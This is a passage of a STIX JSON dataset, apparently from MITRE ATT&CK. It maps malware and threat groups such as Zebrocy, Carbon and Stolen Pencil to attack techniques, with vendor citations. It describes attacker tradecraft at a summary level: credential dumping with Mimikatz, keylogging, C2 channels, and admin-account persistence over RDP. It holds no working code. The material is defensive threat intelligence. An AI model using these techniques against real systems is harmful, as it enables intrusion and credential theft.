                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/",
                    "description": "Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. Retrieved January 12, 2018.",
                    "source_name": "PaloAlto UBoatRAT Nov 2017"
                }
            ],
            "description": "[UBoatRAT](https://attack.mitre.org/software/S0333) can upload and download files to the victim\u2019s machine.(Citation: PaloAlto UBoatRAT Nov 2017)",
            "id": "relationship--ebf44df8-d7c7-4c95-87f0-e31f88b83c72",
            "source_ref": "malware--518bb5f1-91f4-4ff2-b09d-5a94e1ebe95f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2019-04-19T15:10:04.423Z",
            "created": "2019-01-29T19:09:26.747Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "ESET. (2017, March 30). Carbon Paper: Peering into Turla\u2019s second stage backdoor. Retrieved November 7, 2018.",
                    "url": "https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/",
                    "source_name": "ESET Carbon Mar 2017"
                }
            ],
            "description": "[Carbon](https://attack.mitre.org/software/S0335) uses HTTP to send data to the C2 server.(Citation: ESET Carbon Mar 2017)",
            "id": "relationship--8f104e2e-4816-4551-b4a6-9f0ed1e01218",
            "source_ref": "malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b",
            "type": "relationship",
            "modified": "2020-03-16T17:53:58.004Z",
            "created": "2019-01-29T19:36:02.755Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://securelist.com/the-epic-turla-operation/65545/",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.",
                    "source_name": "Kaspersky Turla"
                }
            ],
            "description": "[Epic](https://attack.mitre.org/software/S0091) uses the <code>nbtstat -n</code> and <code>nbtstat -s</code> commands on the victim\u2019s machine.(Citation: Kaspersky Turla)",
            "id": "relationship--ce560fcf-cd2d-45c6-9331-f5f0594e5bf5",
            "source_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2019-07-26T16:10:43.197Z",
            "created": "2019-01-29T19:55:48.186Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Ray, V. (2016, November 22). Tropic Trooper Targets Taiwanese Government and Fossil Fuel Provider With Poison Ivy. Retrieved November 9, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/",
                    "source_name": "Unit 42 Tropic Trooper Nov 2016"
                }
            ],
            "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) delivered malicious documents with the XLSX extension, typically used by OpenXML documents, but the file itself was actually an OLE (XLS) document.(Citation: Unit 42 Tropic Trooper Nov 2016)",
            "id": "relationship--56a866fd-1a37-4750-89e6-2e26ed69cb27",
            "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534",
            "type": "relationship",
            "modified": "2019-06-30T22:44:28.309Z",
            "created": "2019-01-29T20:17:49.304Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 BadPatch Oct 2017",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-badpatch/",
                    "description": "Bar, T., Conant, S. (2017, October 20). BadPatch. Retrieved November 13, 2018."
                }
            ],
            "description": "[BadPatch](https://attack.mitre.org/software/S0337) can download and execute or update malware.(Citation: Unit 42 BadPatch Oct 2017)",
            "id": "relationship--91eab726-0a0c-4898-8376-66987fd1037c",
            "source_ref": "malware--9af05de0-bc09-4511-a350-5eb8b06185c1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2019-04-23T21:17:49.968Z",
            "created": "2019-01-29T21:33:34.617Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Radware Micropsia July 2018",
                    "url": "https://blog.radware.com/security/2018/07/micropsia-malware/",
                    "description": "Tsarfaty, Y. (2018, July 25). Micropsia Malware. Retrieved November 13, 2018."
                }
            ],
            "description": "[Micropsia](https://attack.mitre.org/software/S0339) creates a command-line shell using cmd.exe.(Citation: Radware Micropsia July 2018)",
            "id": "relationship--4261a057-4985-4180-8871-59c5b76e8a20",
            "source_ref": "malware--8c050cea-86e1-4b63-bf21-7af4fa483349",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-20T01:59:31.417Z",
            "created": "2019-01-29T21:47:53.669Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Securelist Octopus Oct 2018",
                    "url": "https://securelist.com/octopus-infested-seas-of-central-asia/88200/",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 15). Octopus-infested seas of Central Asia. Retrieved November 14, 2018."
                }
            ],
            "description": "[Octopus](https://attack.mitre.org/software/S0340) collects the username from the victim\u2019s machine.(Citation: Securelist Octopus Oct 2018)",
            "id": "relationship--348f9f2e-c959-4485-9a0b-e95f6d4ceb72",
            "source_ref": "malware--e2031fd5-02c2-43d4-85e2-b64f474530c2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "type": "relationship",
            "modified": "2020-03-17T02:00:35.703Z",
            "created": "2019-01-30T13:24:09.083Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET GreyEnergy Oct 2018",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf",
                    "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018."
                }
            ],
            "description": "[GreyEnergy](https://attack.mitre.org/software/S0342) encrypts its configuration files with AES-256 and also encrypts its strings.(Citation: ESET GreyEnergy Oct 2018)",
            "id": "relationship--fba908dc-4478-4626-ab73-72c43eca5279",
            "source_ref": "malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2019-04-17T22:22:22.064Z",
            "created": "2019-01-30T13:53:14.923Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT29 Nov 2018",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html",
                    "description": "Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018."
                }
            ],
            "description": "[APT29](https://attack.mitre.org/groups/G0016) drops a Windows shortcut file for execution.(Citation: FireEye APT29 Nov 2018)",
            "id": "relationship--8e5d4994-50a5-4a52-9d5b-30a33edb42a7",
            "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179",
            "type": "relationship",
            "modified": "2019-07-25T14:25:53.358Z",
            "created": "2019-01-30T14:19:17.701Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/",
                    "source_name": "Unit42 Azorult Nov 2018"
                },
                {
                    "description": "Proofpoint. (2018, July 30). New version of AZORult stealer improves loading features, spreads alongside ransomware in new campaign. Retrieved November 29, 2018.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/new-version-azorult-stealer-improves-loading-features-spreads-alongside",
                    "source_name": "Proofpoint Azorult July 2018"
                }
            ],
            "description": "[Azorult](https://attack.mitre.org/software/S0344) can collect the time zone information from the system.(Citation: Unit42 Azorult Nov 2018)(Citation: Proofpoint Azorult July 2018)",
            "id": "relationship--9d30b96a-6518-449e-a665-3033dfcb44db",
            "source_ref": "malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077",
            "type": "relationship",
            "modified": "2019-07-26T23:22:28.646Z",
            "created": "2019-01-30T15:19:15.000Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Mandiant APT1 Appendix",
                    "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip"
                }
            ],
            "description": "[BISCUIT](https://attack.mitre.org/software/S0017) communicates to the C2 server using a custom protocol.(Citation: Mandiant APT1 Appendix)",
            "id": "relationship--d98aed26-0aed-42ba-844d-31ca4a763124",
            "source_ref": "malware--b8eb28e4-48a6-40ae-951a-328714f75eda",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00",
            "type": "relationship",
            "modified": "2020-03-16T16:03:40.985Z",
            "created": "2019-01-30T15:38:21.176Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "TrendMicro Lazarus Nov 2018",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-continues-heists-mounts-attacks-on-financial-organizations-in-latin-america/",
                    "description": "Trend Micro. (2018, November 20). Lazarus Continues Heists, Mounts Attacks on Financial Organizations in Latin America. Retrieved December 3, 2018."
                }
            ],
            "description": "[AuditCred](https://attack.mitre.org/software/S0347) can inject code from files to other running processes.(Citation: TrendMicro Lazarus Nov 2018)",
            "id": "relationship--4c654359-aefe-4c86-a092-44e99931d340",
            "source_ref": "malware--24b4ce59-eaac-4c8b-8634-9b093b7ccd92",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
            "type": "relationship",
            "modified": "2020-03-20T16:06:56.390Z",
            "created": "2019-01-30T15:47:41.426Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Zanni, A. (n.d.). The LaZagne Project !!!. Retrieved December 14, 2018.",
                    "url": "https://github.com/AlessandroZ/LaZagne",
                    "source_name": "GitHub LaZagne Dec 2018"
                }
            ],
            "description": "[LaZagne](https://attack.mitre.org/software/S0349) can obtain credentials from databases, mail, and WiFi across multiple platforms.(Citation: GitHub LaZagne Dec 2018)",
            "id": "relationship--b0f355cc-e11f-4027-9db3-59ec64cd367f",
            "source_ref": "tool--b76b2d94-60e4-4107-a903-4a3a7622fb3b",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0",
            "type": "relationship",
            "modified": "2020-03-25T15:46:35.771Z",
            "created": "2019-01-30T16:45:00.072Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.",
                    "url": "https://securelist.com/muddywater/88059/",
                    "source_name": "Securelist MuddyWater Oct 2018"
                }
            ],
            "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used malware to collect the victim\u2019s IP address and domain name.(Citation: Securelist MuddyWater Oct 2018)",
            "id": "relationship--4ab6ada3-0129-4f34-ba29-b793c6d98fff",
            "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2019-06-28T15:30:59.029Z",
            "created": "2019-01-30T17:33:41.156Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "McAfee Night Dragon",
                    "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.",
                    "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf"
                }
            ],
            "description": "[Night Dragon](https://attack.mitre.org/groups/G0014) has copied files to company web servers and subsequently downloaded them.(Citation: McAfee Night Dragon)",
            "id": "relationship--2cc18ee4-ccde-4b2a-a280-b783e1ede529",
            "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--359b00ad-9425-420b-bba5-6de8d600cbc0",
            "type": "relationship",
            "modified": "2020-03-17T14:20:26.761Z",
            "created": "2019-01-30T18:02:59.182Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit42 Cannon Nov 2018",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/",
                    "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018."
                },
                {
                    "source_name": "ESET Zebrocy Nov 2018",
                    "url": "https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/",
                    "description": "ESET. (2018, November 20). Sednit: What\u2019s going on with Zebrocy?. Retrieved February 12, 2019."
                },
                {
                    "description": "Lee, B., Falcone, R. (2018, December 12). Dear Joohn: The Sofacy Group\u2019s Global Campaign. Retrieved April 19, 2019.",
                    "url": "https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/",
                    "source_name": "Unit42 Sofacy Dec 2018"
                },
                {
                    "source_name": "ESET Zebrocy May 2019",
                    "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/",
                    "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019."
                },
                {
                    "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.",
                    "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50",
                    "source_name": "Accenture SNAKEMACKEREL Nov 2018"
                }
            ],
            "description": "[Zebrocy](https://attack.mitre.org/software/S0251) uses the <code>tasklist</code> and <code>wmic process get Capture, ExecutablePath</code> commands to gather the processes running on the system.(Citation: Unit42 Cannon Nov 2018)(Citation: ESET Zebrocy Nov 2018)(Citation: Unit42 Sofacy Dec 2018)(Citation: ESET Zebrocy May 2019)(Citation: Accenture SNAKEMACKEREL Nov 2018)",
            "id": "relationship--1051f320-91fa-4f89-8abe-a851a56e18a7",
            "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2019-07-17T01:18:32.842Z",
            "created": "2019-01-30T18:39:48.467Z"
        },
        {
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            ],
            "external_references": [
                {
                    "source_name": "TrendMicro MacOS April 2018",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/",
                    "description": "Horejsi, J. (2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018."
                }
            ],
            "description": "[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) uses Word macros for execution.(Citation: TrendMicro MacOS April 2018)",
            "id": "relationship--60bab055-6927-4240-8716-6218dc131aa9",
            "source_ref": "malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67",
            "type": "relationship",
            "modified": "2020-06-23T20:11:11.926Z",
            "created": "2019-01-30T19:18:20.194Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            ],
            "id": "relationship--9c97e0aa-61fd-4f42-881f-763a1b03c16b",
            "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
            "relationship_type": "uses",
            "target_ref": "tool--5a63f900-5e7e-4928-a746-dd4558e1df71",
            "external_references": [
                {
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf",
                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
                    "source_name": "Cybereason Cobalt Kitty 2017"
                }
            ],
            "description": "(Citation: Cybereason Cobalt Kitty 2017)",
            "type": "relationship",
            "modified": "2019-07-17T13:11:38.977Z",
            "created": "2019-01-31T01:07:58.791Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "id": "relationship--dca2d571-c65c-4efb-b05c-86cee13d545a",
            "source_ref": "course-of-action--c61e2da1-f51f-424c-b152-dc930d4f2e70",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852",
            "type": "relationship",
            "modified": "2020-06-24T14:37:18.197Z",
            "created": "2019-02-01T14:35:39.623Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "tool--90ac9266-68ce-46f2-b24f-5eb3b2a8ea38",
            "target_ref": "attack-pattern--4bc31b94-045b-4752-8920-aebaebdb6470",
            "external_references": [
                {
                    "description": "SensePost. (2016, August 18). Ruler: A tool to abuse Exchange services. Retrieved February 4, 2019.",
                    "url": "https://github.com/sensepost/ruler",
                    "source_name": "SensePost Ruler GitHub"
                }
            ],
            "description": "[Ruler](https://attack.mitre.org/software/S0358) can be used to enumerate Exchange users and dump the GAL.(Citation: SensePost Ruler GitHub)",
            "relationship_type": "uses",
            "id": "relationship--c7c8b431-77bb-45ac-9826-bd92828c2f85",
            "type": "relationship",
            "modified": "2020-03-29T22:08:21.359Z",
            "created": "2019-02-04T18:32:07.321Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f",
            "target_ref": "tool--90ac9266-68ce-46f2-b24f-5eb3b2a8ea38",
            "relationship_type": "uses",
            "id": "relationship--33f1d509-3bca-492a-a08b-9e0561433b5f",
            "external_references": [
                {
                    "source_name": "FireEye APT33 Guardrail",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html",
                    "description": "Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019."
                },
                {
                    "source_name": "Microsoft Holmium June 2020",
                    "url": "https://www.microsoft.com/security/blog/2020/06/18/inside-microsoft-threat-protection-mapping-attack-chains-from-cloud-to-endpoint/",
                    "description": "Microsoft Threat Protection Intelligence Team. (2020, June 18). Inside Microsoft Threat Protection: Mapping attack chains from cloud to endpoint. Retrieved June 22, 2020."
                }
            ],
            "description": "(Citation: FireEye APT33 Guardrail)(Citation: Microsoft Holmium June 2020)",
            "type": "relationship",
            "modified": "2020-06-22T20:15:32.325Z",
            "created": "2019-02-05T13:14:45.865Z"
        },
        {
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--7a0d4c09-dfe7-4fa2-965a-1a0e42fedd70",
            "target_ref": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90",
            "external_references": [
                {
                    "source_name": "Netscout Stolen Pencil Dec 2018",
                    "url": "https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/",
                    "description": "ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019."
                }
            ],
            "description": "[Stolen Pencil](https://attack.mitre.org/groups/G0086) gathers credentials using [Mimikatz](https://attack.mitre.org/software/S0002) and Procdump. (Citation: Netscout Stolen Pencil Dec 2018)",
            "relationship_type": "uses",
            "id": "relationship--94243a11-a479-426c-be01-225edf41803e",
            "type": "relationship",
            "modified": "2020-03-20T00:18:21.698Z",
            "created": "2019-02-05T17:56:55.524Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--7a0d4c09-dfe7-4fa2-965a-1a0e42fedd70",
            "target_ref": "attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529",
            "external_references": [
                {
                    "source_name": "Netscout Stolen Pencil Dec 2018",
                    "url": "https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/",
                    "description": "ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019."
                }
            ],
            "description": "[Stolen Pencil](https://attack.mitre.org/groups/G0086) has a tool to sniff the network for passwords. (Citation: Netscout Stolen Pencil Dec 2018)",
            "relationship_type": "uses",
            "id": "relationship--88a31637-0a37-456c-ad6e-c7011a430641",
            "type": "relationship",
            "modified": "2019-06-24T19:09:46.245Z",
            "created": "2019-02-05T17:56:55.550Z"
        },
        {
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--7a0d4c09-dfe7-4fa2-965a-1a0e42fedd70",
            "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60",
            "relationship_type": "uses",
            "id": "relationship--6e708676-9242-4faa-9d8d-0de893f626f4",
            "external_references": [
                {
                    "source_name": "Netscout Stolen Pencil Dec 2018",
                    "url": "https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/",
                    "description": "ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019."
                }
            ],
            "description": "(Citation: Netscout Stolen Pencil Dec 2018)",
            "type": "relationship",
            "modified": "2019-06-24T19:09:46.358Z",
            "created": "2019-02-05T17:56:55.600Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--7a0d4c09-dfe7-4fa2-965a-1a0e42fedd70",
            "target_ref": "attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2",
            "external_references": [
                {
                    "source_name": "Netscout Stolen Pencil Dec 2018",
                    "url": "https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/",
                    "description": "ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019."
                }
            ],
            "description": "[Stolen Pencil](https://attack.mitre.org/groups/G0086) has a tool to add a Windows admin account in order to allow them to ensure continued access via RDP. (Citation: Netscout Stolen Pencil Dec 2018)",
            "relationship_type": "uses",
            "id": "relationship--34c13917-d1ab-4a3e-985e-54aa5b2bb84d",
            "type": "relationship",
            "modified": "2020-03-16T19:00:50.019Z",
            "created": "2019-02-05T17:56:55.594Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--7a0d4c09-dfe7-4fa2-965a-1a0e42fedd70",
            "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "external_references": [
                {
                    "source_name": "Netscout Stolen Pencil Dec 2018",
                    "url": "https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/",
                    "description": "ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019."
                }
            ],
            "description": "[Stolen Pencil](https://attack.mitre.org/groups/G0086) has a tool to log keystrokes to %userprofile%\\appdata\\roaming\\apach.{txt,log}. (Citation: Netscout Stolen Pencil Dec 2018)",
            "relationship_type": "uses",
            "id": "relationship--6bde353d-2ce0-436e-9a91-6716f121e99d",
            "type": "relationship",
            "modified": "2020-03-16T20:18:33.287Z",
            "created": "2019-02-05T17:56:55.602Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--7a0d4c09-dfe7-4fa2-965a-1a0e42fedd70",
            "target_ref": "attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf",
            "external_references": [
                {
                    "source_name": "Netscout Stolen Pencil Dec 2018",
                    "url": "https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/",
                    "description": "ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019."
                }
            ],
            "description": "[Stolen Pencil](https://attack.mitre.org/groups/G0086) utilized RDP for direct remote point-and-click access. (Citation: Netscout Stolen Pencil Dec 2018)",
            "relationship_type": "uses",
            "id": "relationship--9585d62c-1815-473d-8d50-6145349ae5ec",
            "type": "relationship",
            "modified": "2019-06-24T19:09:46.327Z",
            "created": "2019-02-05T17:56:55.606Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--7a0d4c09-dfe7-4fa2-965a-1a0e42fedd70",
            "target_ref": "attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8",
            "external_references": [
                {
                    "source_name": "Netscout Stolen Pencil Dec 2018",
                    "url": "https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/",
                    "description": "ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019."
                }
            ],
            "description": "[Stolen Pencil](https://attack.mitre.org/groups/G0086) victims are prompted to install malicious Google Chrome extensions which gave the threat actor the ability to read data from any website accessed. (Citation: Netscout Stolen Pencil Dec 2018)",
            "relationship_type": "uses",
            "id": "relationship--ded0250c-8e38-480c-a580-1126b64194e7",
            "type": "relationship",
            "modified": "2019-06-24T19:09:46.304Z",
            "created": "2019-02-05T17:56:55.610Z"
        },
        {
